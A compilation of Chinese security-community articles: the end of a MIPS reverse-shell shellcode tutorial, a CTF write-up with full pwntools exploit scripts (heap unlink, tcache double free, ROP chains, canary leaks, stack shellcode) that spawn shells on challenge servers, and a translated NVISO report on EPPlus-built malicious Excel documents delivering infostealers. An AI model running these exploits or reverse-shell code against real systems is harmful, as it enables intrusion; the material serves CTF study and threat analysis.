但是一般在这里，我们会先使用 `sockaddr_in` 结构体，将 ip 和端口进行赋值，再将其强制类型转换为 `sockaddr`。因为
`sockaddr` 结构体的 IP 地址和端口段都包含在了 `sa_data` 段，不太容易直接赋值。
`sockaddr` 结构体的原型如下：
整个结构体大小固定为 16 字节。
根据这个结构体的格式，我们将示例代码编译成可执行程序，在 gdb 中调试到相应位置，查看相关的的内存表示。查看 `sockaddr_in` 结构体的内存值：
pwndbg> x/2xw 0x76fff5ca
0x76fff5ca: 0x00027a69 0x7f000001
`0x0002`：表示 TCP 协议族，大小为 2 字节。
`0x7a69`：表示端口号，大小为 2 字节。
`0x7f000001`：表示 IP 地址，大小为 2 字节，在这里表示的 IP 为 127.0.0.1。
相应的汇编代码如下：
lw $v0,10($sp)
move $a0,$v0
addiu,$a2,$zero,0x10
lui $t6,0x2 // 协议族为 2
ori $t6,$t6,0x7a69 // 端口号为 0x7a69
sw $t6,20($sp) // 将 0x00027a69 存入栈中
lui $t7,0x7f00
ori $t7,$t7,0x1
sw $t7,24($sp) // 将 0x7f000001 存入栈中，与 0x00027a69 相邻
la $a1,20($sp) // 栈地址赋值给 a1 寄存器
addiu $v0,$zero,4170 // sys_connect
syscall 0x40404
在调试中类似这种情况就是对的：
### execve 系统调用
这里的 `execve` 的系统调用同样是执行 `execve("/bin/sh",0,0);` 函数，写法参考上文，再次不在赘述。
## 调试方法
在编写 shellcode 的过程中，可以对每一部分的汇编代码进行调试，调试方法如下。
1 . 将汇编语句加上 main 符号：
.global main
main:
li $a0,2
li $a1,1
li $a3,0
li $v0,4183
syscall 0x40404
2 . 汇编、链接
mips-linux-gnu-as --32 socket.S -o socket.o
mips-linux-gnu-ld -e main socket.o -o socket
3 . qemu 调试
在一个终端执行命令：
qemu-mips-static -g 1234 -L /usr/mips-linux-gnu ./socket
另外一个终端：
gdb-multiarch ./socket
就可以在 gdb 中进行正常的调试。
## 总结
将上述三段汇编语句连起来就可以得到最终的 reverse shell 的汇编语句，同样的使用 `rasm2` 将其汇编成 shellcode 格式即可。
对于最终得到的 `shellcode`，我们经常会进行指令的优化，也就是将一些指令进行替换或者将 shellcode
进行编码，从而避免一些坏字符。优化过程读者可以自行研究，也可以查阅《揭秘家用路由 0day 漏洞挖掘技术》一书的第七章。
## 参考链接
1. [radare2 官网](https://www.radare.org/n/)
2. [shell-storm](http://shell-storm.org/shellcode/) | 社区文章 |
# DAY1
# pwn1
一道堆漏洞利用的程序，64位程序，除了pie以外其他保护机制都开了
主要的漏洞点就出在这里，一个off by null，由于malloc的时候有限制，只能输入0x80--0x100的大小，这里比较好用的办法就是unlink，进行一次任意地址写
这里比较骚的地方是存在key1限制了edit函数的使用次数，以及存在key2限制使用show函数
主要的利用思路是：
* 先unlink一次使得key2为1，从而能show出libc，同时在用一次offbynull，使得key1为0
* 再次利用两次的edit，修改free_hook为system
* free一个内容为/bin/sh的chunk，即可getshell
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[2],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#------------------------------------- def new(idx,size,content):
rc()
sl("1")
ru("index:\n")
sl(str(idx))
ru("size:\n")
sd(str(size))
ru("gift: ")
leak = int(ru("\n"),16)
ru("content:\n")
sd(content)
return leak
def edit(idx,content):
rc()
sl("3")
ru("index:\n")
sd(str(idx))
ru("content:\n")
sd(content)
def free(idx):
ru("4.show\n")
sl("2")
ru("index:\n")
sd(str(idx))
def exp():
new(2,0xf8,"/bin/sh")
heap=new(32,0xf8,"a"*8)
bss = 0x6020E0 + 32*8 #heap-0x10
fd = bss-3*8
bk = fd+8
pay = p64(0)+p64(0xf1)
pay+= p64(fd)+p64(bk)
pay = pay.ljust(0xf0)
pay += p64(0xf0)
new(31,0xf8,"a"*8)
new(30,0xf8,"a"*8)
edit(32,pay)
free(31)#unlink
target = 0x6020E0 + 32*8 - 0x18
pay = p64(target)*3 + p64(elf.got['free'])
pay = pay.ljust(0xf0,'a')
pay += p64(1)
edit(32,pay)
sl("4")
ru("index:")
sl("32")
p.recvline()
leak = u64(p.recvline()[:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['free']
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
print hex(leak)
success(hex(system))
pay = 'a'*0x18 + p64(free_hook)
pay = pay.ljust(0xf0,'a')
pay += p64(1)a
edit(30,pay)
edit(32,p64(system))
free(2)
p.interactive()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.112","9999")
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
# pwn4
32位程序，只开了nx保护，简单栈溢出漏洞
from pwn import*
context.log_level = "debug"
elf = ELF('./pwn')
p = remote("172.29.3.115","9999")
#p = process('./pwn')
libc = elf.libc
payload = 'a'*0x28
p.recv()
p.sendline(payload)
p.recvuntil('a'*0x28)
p.recv(8)
leak = u32(p.recv(4))
success(hex(leak))
libc_base = leak - 0x1b23dc
libc.address = libc_base
one = libc_base + 0x3ac69
print p.recv()
payload = 'a'*0x28 + 'bbbb' + p32(one)
p.sendline(payload)
p.interactive()
# pwn8
64位只开了nx的静态编译程序
看起来是一道很麻烦的逆向题，实际上只是一个异或加密+栈溢出，生成ropchain，一把梭就完事了
exp
from pwn import*
#io = process("./easy_pwn")
io = remote("172.29.3.119","9999")
elf = ELF("./easy_pwn")
context.log_level = "debug"
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
p += p64(59) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall
strings = ""
for i in p :
strings += chr(ord(i)^0x66)
pay = 'a'*0x50 + strings
io.recv()
io.sendline(pay)
io.interactive()
# DAY2
# pwn3
64位只开了nx
这题本质上也是一个栈溢出，据说官方解法是srop
但我这里用的是系统调用execve(/bin//sh,0,0)这样的方法
因为这里有条这样的gadget，不用白不用啊
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#------------------------------------- def exp():
aaa=asm(shellcraft.sh())
pop_rdi_ret=0x00000000004005a3
pop_rsi_r15=0x00000000004005a1
pop_r14_r15=0x00000000004005a0
mov_eax_exe_ret=0x00000000004004e3
pop_r12_r13_r14_r15=0x000000000040059c
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
#call r12+rbx*8
ret=0x004003a9
main = 0x4004ED
syscall_ret=0x0000000000400517
g = 0x4004da
pay = "a"*16+p64(main)
sd(pay)
#print p.recv()
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
msg("stack",stack)
stack=stack-0x118
msg("stack",stack)
pay = "/bin//sh\x00".ljust(0x10,"\x00")
pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2
pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)
pay+=p64(mov_eax_exe_ret)
pay+=p64(pop_rdi_ret)+p64(stack)
pay+=p64(pop_rsi_r15)+p64(0)*2
pay+=p64(syscall_ret)
sd(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.114",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
# pwn6
这个略坑，比赛的时候没告诉libc，实际上是glibc2.27
就常规的做法，首先填满tcache，泄漏出libc
接着改fd，double free 改free hook为system
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#------------------------------------- def new(size,name,call):
ru("choice:")
sl("1")
ru("Please input the size of compary's name\n")
sl(str(size))
ru("please input name:\n")
sd(name)
ru("please input compary call:\n")
sd(call)
def free(idx):
ru("choice:")
sl("3")
ru("Please input the index:\n")
sl(str(idx))
def show(size):
ru("choice:")
sl("2")
ru("Please input the index:\n")
sl(str(size))
def exp1():
new(0x18,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
#
free(0)
for x in range(8):
free(1)
new(0x100,"c"*8,"d"*8)#3
show(3)
ru("c"*8)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"]
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
msg("libc.address",libc.address)
new(0x50,"a"*8,"b"*8)#4
new(0x50,"a"*8,"b"*8)
new(0x50,"a"*8,"b"*8)
free(4)
free(4)
new(0x50,p64(free_hook),"b"*8)
#piedebug(0)
new(0x50,"/bin/sh\x00","b"*8)
new(0x50,p64(system),"b"*8)
#piedebug(0)
free(7)
# ru("choice:")
# sl("3")
# print p.recv()
getshell()
pause()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.117",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp1()
# pwn7
64位保护全开，本质上仍然是栈溢出漏洞，只不过是c++写的
由于保护全开，需要依次泄漏出canary，elf base，libc base
然后由于可溢出的字节太少，又需要一波栈迁移，但只需要把栈抬高即可，没必要用到bss
最后就常规rop调用system来getshell
漏洞点就主要在这里
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#------------------------------------- def exp():
name ="admin"
new = ""
for i in range(len(name)):
new+=chr(ord(name[i])^i)
#piedebug(0x0118A)
ru("please input your name\n")
sl(new)
ru("do you want to get something???\n")
sd("a"*0x19)
ru("a"*0x18)
canary = u64(p.recv(8))-0x61
stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
msg("canary",canary)
msg("stack",stack)
ru("OK???\n")
sd("b"*0x18+p64(canary))
#pause()
ru("I think you can do something now\n")
pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16
#pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16
sd(pay)
#print p.recv()
ru("do you want to get something???\n")
sd("a"*0x21)
ru("OK???\n")
sd("b"*0x29)
ru("a"*8)
piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
msg("piebase",piebase)
printf_got=elf.got["printf"]+piebase
printf_plt=elf.plt["printf"]+piebase
read_got=elf.got["read"]+piebase
pop_rdi_ret=piebase+0x14a3
leave_ret=piebase+0x10dc
vul = piebase+0x10de
msg("printf_got",printf_got)
msg("printf_plt",printf_plt)
msg("read_got",read_got)
ru("I think you can do something now\n")
gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
sd(pay)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
system = libc.sym["system"]
msg("libc.address",libc.address)
ru("do you want to get something???\n")
#piedebug(0x11fe)
sd("a"*0x8)
ru("OK???\n")
sd("b"*0x8)
ru("I think you can do something now\n")
gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
sd(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.118",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
#取消aslr保护机制
#p = process(bin_elf, aslr=0)
#加入libc进行调试：
#p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
while True:
try:
p = process(bin_elf)
exp()
except:
p.close()
# pwn9
简单栈溢出，nx都没开，很明显，栈里面执行shellcode了
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#------------------------------------- def exp():
jmp = 0x08048554
shellcode ='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
xor eax,eax
inc eax
int 0x80
'''
shellcode =asm(shellcode)
shell="sub esp,0x28;call esp"
shell =asm(shell)
ru(">\n")
pay = shellcode.ljust(0x24,"\x00")
pay+= p32(jmp)
pay+=shell
#debug("b *0x8048554")
sl(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.120",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp() | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/>**
## 前言
2020年7月，NVISO检测到一组恶意Excel文档，也称为“
maldocs”，它们通过VBA激活的电子表格传递恶意软件。尽管我们曾见过恶意的VBA代码和掉落的有效载荷，但创建Excel文档本身的特定方式引起了我们的注意。
恶意Excel文档的创建者使用了一种技术，使他们无需实际使用Microsoft
Office即可创建装载宏的Excel工作簿。但是在这种特定工作方式下，这些文档的检测率通常低于标准maldocs。
这篇文章概述了这些恶意文档的产生方式。此外，它简要描述了观察到的有效负载，最后以建议和危害指标结尾，以帮助保护组织免受此类攻击。
## 主要发现
恶意的Microsoft Office文档是使用EPPlus软件而不是Microsoft Office
Excel创建的，这些文档可能与典型的Excel文档不同，所以可能会受到关注。
NVISO基于上载到VirusTotal等服务的有限数量的文件，以及整个活动中有效载荷传递的相似性，以中等可信度评估该活动，这是由单个攻击者执行的。
直到这篇文章发布之日为止，观察到的有效负载在大多数情况下都是所谓的信息窃取者，他们的目的是从浏览器，电子邮件客户端等中获取密码。
这些文件中产生的有效载荷仅在混淆和伪装方面有所发展。
## 分析
下面的分析部分分为两个部分，涉及感染链中的特定链接。
#### 恶意文件分析
在较早的文章中，我们写了有关“ VBA清除” [[1]](https://blog.nviso.eu/2020/02/25/evidence-of-vba-purging-found-in-malicious-documents/
"\[1\]")的技术，该技术可从VBA项目中删除已编译的VBA代码。我们很想知道是否有在野外发现的恶意文件正在采用这种技术（它降低了防病毒产品的初始检测率）。
最初，我们认为它们是使用Excel创建的，然后被VBA清除。但是仔细研究，我们发现，这些文档是使用.NET库创建的，该库创建了Office Open
XML（OOXML）电子表格。如我们的VBA清除博客文章所述，使用完全独立于Microsoft
Office的工具创建Office文档时，它们也可能缺少已编译的VBA代码。EPPlus是这样的工具。我们对这个.NET库很熟悉，因为几年来一直在使用它来为我们的红色团队和渗透测试人员创建恶意文档（“
maldocs”）。
当我们注意到maldocs没有经过编译的代码，并且也缺少Office元数据时，我们很快想到了EPPlus。该库还将创建OOXML文件，而无需编译VBA代码和Office元数据。
OOXML文件格式是一种开放包装约定（OPC）格式：一种ZIP容器，主要包含XML文件，可能还包含二进制文件（如图片）。它是由Microsoft在Office
2007发行版中首次引入的。OOXML电子表格使用扩展名.xlsx和.xlsm（用于带有宏的电子表格）。
使用EPPlus创建VBA项目时，它不包含已编译的VBA代码。EPPlus没有创建编译代码的方法：创建编译VBA代码的算法是Microsoft专有的。
我们检测到的第一个恶意文档是在2020年6月22日创建的，从那时起，我们在2个月的时间里发现了200多个恶意文档。在过去的几周里，攻击者增加了他们的活动，现在我们有时会看到10多个新的恶意文档。
图1-每天观察到的独特的maldocs。
在两个月的时间内发现的maldocs具有许多与Microsoft
Office创建的文档的属性完全不同的属性。我们认为是这是因为它们是使用独立于Microsoft
Excel的工具创建的。尽管我们没有攻击者用来创建这些恶意文档的确切工具的副本，但此工具创建的恶意文档具有许多属性，这些属性使我们确信它们是使用上述EPPlus软件创建的。
EPPlus的某些属性包括但不限于：
* 功能强大且用途广泛的库：它不仅可以创建包含VBA项目的电子表格，而且还可以对该项目进行密码保护和/或数字签名。它不依赖Microsoft Office。它也可以在Mono（跨平台，开源.NET）上运行。
* 用EPPlus创建的OOXML文件具有一些属性，可将它们与用Excel创建的OOXML文件区分开。这里是一个概述：
ZIP日期：ZIP文件中包含的每个文件都有一个时间戳（ZIPFILE记录中的DOSDATE和DOSTIME字段）。对于使用Microsoft
Office创建（或编辑）的文档，此时间戳始终为1980-01-01
00:00:00（DOSDATE为0x0021，DOSTIME为0x0000）。使用EPPlus创建的OOXML文件具有与文档创建时间相对应的时间戳。通常，OOXML文件中的所有文件的时间戳都是相同的，但是由于执行延迟，时间戳之间可能相差2秒。2秒是DOSTIME格式的分辨率。
图2 – DOSTIME差异（左：EPPlus创建的文件）
* 额外的ZIP记录：一个典型的ZIP文件由ZIP文件记录（magic 50 4B 03 04）和（压缩）文件内容组成。然后是ZIP目录条目（magic 50 4B 01 02），后面是一个ZIP结束的目录记录（magic 50 4B 05 06）。Microsoft Office创建包含这3种ZIP记录类型的OOXML文件。EPPlus创建包含4个ZIP记录的OOXML文件：在每个ZIP文件记录之后还包括一个ZIP数据描述记录（magic504b0708）。
图3 –额外的ZIP记录（左：EPPlus创建的文件）
* 缺少Office文档元数据：使用Microsoft Office创建的OOXML文档包含元数据（作者，标题等）。此元数据存储在docProps文件夹中的XML文件中。默认情况下，使用EPPlus创建的文档没有元数据：ZIP容器内没有docProps文件夹。
图4 –缺少元数据（左：EPPlus创建的文件）。
* 已清除VBA：具有通过Microsoft Office创建的VBA项目的OOXML文件包含OLE文件（vbaProject.bin），该文件的流包含已编译的VBA代码和已压缩的VBA源代码。使用EPPlus创建的文档不包含已编译的VBA代码，而仅包含压缩的VBA源代码。这意味着： 模块流仅包含压缩的VBA代码。
没有SRP流（SRP流包含特定于实现和版本的编译代码，其名称以__SRP_开头）。
_VBA_PROJECT流不包含已编译的VBA代码。实际上，_VBA_PROJECT流的内容被硬编码在EPPlus源代码中：始终为CC 61 FF FF
00 00 00。
图5 –硬编码的流内容（左：EPPlus创建的文件）。
除上述内容外，我们还观察到了VBA源代码的某些属性，这些属性提示使用基于EPPlus之类的库的创建工具。
actor使用的VBA源代码有两个变体（一些变体使用PowerShell来下载有效负载，其他变体使用纯VBA代码）。但是所有这些变体都包含一个调用程序，该调用程序具有一个参数，即带有URL的字符串（BASE64或十六进制编码）。像这样（十六进制示例）：`Loader"68
74 74 70…"`
请注意，函数名称和参数之间没有空格字符：Loader与“ 68 74 74 70…”之间没有空格。
这表明VBA代码不是通过Office中的VBA EDI输入的：当输入这样的语句时，如果没有空格字符，VBA
EDI会自动为您添加一个空格字符（即使您复制/粘贴该代码也是如此）。
缺少此空格字符说明该代码不是通过VBA EDI输入的，而是可能通过EPPlus之类的库输入的。
为了说明这些属性上的差异，我们使用EPPlus库使用内部工具之一（ExcelVBA）显示示例。我们使用工具ExcelVBA在文本文件vba.txt中用vba代码创建vba.xlsm文件，并显示其某些属性：
图6 – NVISO使用EPPlus库创建的XLSM文件。
图7 –运行oledump.py显示该文档是使用EPPlus库创建的。
一些恶意文档包含使用EPPlus Wiki上的示例代码清楚地由EPPlus创建的对象。我们通过以下示例（此广告系列中的第一个文档）进行说明：
**文件名** ：扫描顺序列表.xlsm
**MD5** ：8857fae198acd87f7581c7ef7227c34d
**SHA256** :8a863b5f154e1ddba695453fdd0f5b83d9d555bae6cf377963c9009c9fa6c9be
**文件大小** ：5.77 KB（5911字节）
**最早内容修改** ： 2020-0646
本文档包含一个具有以下名称的drawing1.xml对象（圆角矩形）：`name =" VBASampleRect"。`
图8 – maldoc的zipdump。
图9 –选择drawing1.xml对象显示名称。
这是使用EPPlus Wiki [[2]](https://github.com/EPPlusSoftware/EPPlus/wiki/VBA
"\[2\]")上的示例代码创建的：
图10 – EPPlus示例代码，清楚地显示了相似之处。
值得注意的是，我们观察到的所有恶意文档的VBA项目均受密码保护。有趣的是，VBA代码本身未经编码/加密，而是以明文形式存储（尽管经过压缩）[[3]](https://blog.didierstevens.com/2020/07/20/cracking-vba-project-passwords/
"\[3\]")。当打开具有受密码保护的VBA项目的文档时，VBA宏将在没有密码的情况下执行：用户不需要提供密码。仅在VBA
IDE（集成开发环境）中查看VBA项目时才需要密码：
图11 –查看VBA项目的密码提示。
我们无法恢复这些密码。我们将开膛手约翰（John the
Ripper）与rockyou.txt密码列表[[4]](https://www.kaggle.com/wjburns/common-password-list-rockyoutxt "\[4\]")结合使用，对Hashcat使用了小型ASCII蛮力攻击。
尽管每个恶意文档都有其自己的VBA代码，但每个恶意文档都是唯一的，迄今为止已分析了200多个样本，但我们可以将所有这些VBA代码概括和抽象为少数几个模板。VBA代码将使用PowerShell或ActiveX对象下载有效负载。不同的字符串使用十六进制，BASE64或XOR编码进行编码，或这些编码的组合。本博客文章的末尾提供了一个Yara规则来检测这些恶意文档，以进行识别和检测。
## 有效负载分析
如上一部分所述，通过恶意VBA代码，从各个网站下载了第二阶段的有效负载。由其各自的恶意文档创建的每个第二阶段可执行文件都充当最终有效负载的放置程序。为了阻止诸如防病毒解决方案之类的检测机制，利用了多种混淆技术，但是这些技术不够先进，无法掩盖恶意意图。攻击者所使用的基础设施似乎主要包括受感染的网站。
流行的防病毒解决方案，例如VirusTotal上列出的解决方案，如图12所示，通常将第二阶段的可执行文件标识为“
AgentTesla”。尽管利用VirusTotal进行恶意软件识别不是一种理想的方法，但它确实显示了简单的混淆会导致错误的分类。在整个分析过程中，我们将解释这些流行的检测中只有很少的结果是准确的。
图12：VirusTotal的“ AgentTesla”错误识别。
我们观察到的不同混淆技术概述了操作Epic
Manchego的所有第二阶段可执行文件所共有的模式。从图13中可以看到，第二阶段将动态加载解密DLL。然后，此DLL组件继续提取其他设置和第三阶段有效负载，然后再将执行转移到最终的有效负载（通常是信息窃取者）。
图13：Epic Manchego操作的最后阶段交付机制。
尽管以上混淆模式对于所有样本都是通用的，但我们已经观察到其复杂性的演变以及可能采用更多机会主义技术的广泛变化。
该行动第二阶段样本的一个共同因素是使用隐写术掩盖其恶意意图。图14标识了在最近的变体中使用的部分配置，其中包括最终有效负载在内的设置字典被编码为数百个图像，这是作为第二阶段嵌入式资源的一部分。
图14：BMP图像中编码的部分字典。
图像本身是以下第二阶段样本的一部分，该样本具有以下属性：
**文件名** ：crefgyu.exe
**MD5** ：7D71F885128A27C00C4D72BF488CD7CC
**SHA256** :C40FA887BE0159016F3AFD43A3BDEC6D11078E19974B60028B93DEF1C2F95726
**文件大小** ：761 KB（779.776字节）
**编译时间** ： 2020-03-09 16:39
值得注意的是，混淆过程不是由攻击者自己建立的。对第二阶段隐写术解码程序的仔细审查揭示了大多数样本是如何错误地将最终有效载荷包含两次。在加载程序配置的以下表示形式（图15）中，我们可以看到其有效负载确实是重复的。第二级和第三级有效载荷的复杂性还倾向于表明操作涉及不同的参与者，因为初始文档反映了经验不足的参与者。
在分析的多个基于字典的变体中，我们还注意到，无论最终的有效负载如何，相似的键都用作设置的一部分。所有字典都包含最终的有效载荷，即“EpkVBztLXeSpKwe”，而某些字典（如图15所示）也包含与“PXcli.0.XdHg”相同的值。这暗示了可能的有效载荷传递构建器，可以由多个参与者使用。
图15：第二阶段解码字典。
在30个不同的基于字典的第二阶段的手动分析数据集中，观察到19个唯一的最终有效载荷。从这些中，“Azorult”窃贼占该变种交付量的50％（图16）。其他有效负载包括“
AgentTesla”，“Formbook”，“Matiex”和“njRat”，这些都已经有据可查。“Azurult”和“njRAT”都有明显的重用率。
图16：基于字典的有效载荷分类和带有修剪散列的样本的（重新）使用。
我们对滴管和相应有效负载的分析揭示了混淆例程中的常见模式。尽管机会主义混淆方法可能会发展，但交付的有效负载仍然是相当有限的一组恶意软件系列的一部分。
## 指定目标
我们从VirusTotal检索到的少量恶意文档与网络钓鱼电子邮件本身一起上传。对这些电子邮件的分析可以为该参与者的潜在目标提供一些启示。由于检索到的源电子邮件数量有限，因此无法根据受害者确定明确的模式。在我们能够检索到的6封电子邮件中，收件人分别是医疗设备部门，铝业，设施管理部门和定制压机供应商。
在调查发件人域时，似乎大多数电子邮件都是从合法公司发送的。使用“已被我拥有” [[5]](https://haveibeenpwned.com/
"\[5\]")服务确认是否已知有任何电子邮件地址遭到破坏，但没有结果。这使我们想知道攻击者在早期感染期间是否能够利用这些帐户，或者是否由另一方提供。无论谁破坏了帐户，攻击者似乎主要使用合法的公司电子邮件帐户来发起网络钓鱼活动。
从发送者和接收者这两个角度来看，似乎没有一种可以推断出潜在新目标的模式。似乎没有针对的特定部门，发送域也没有关联。
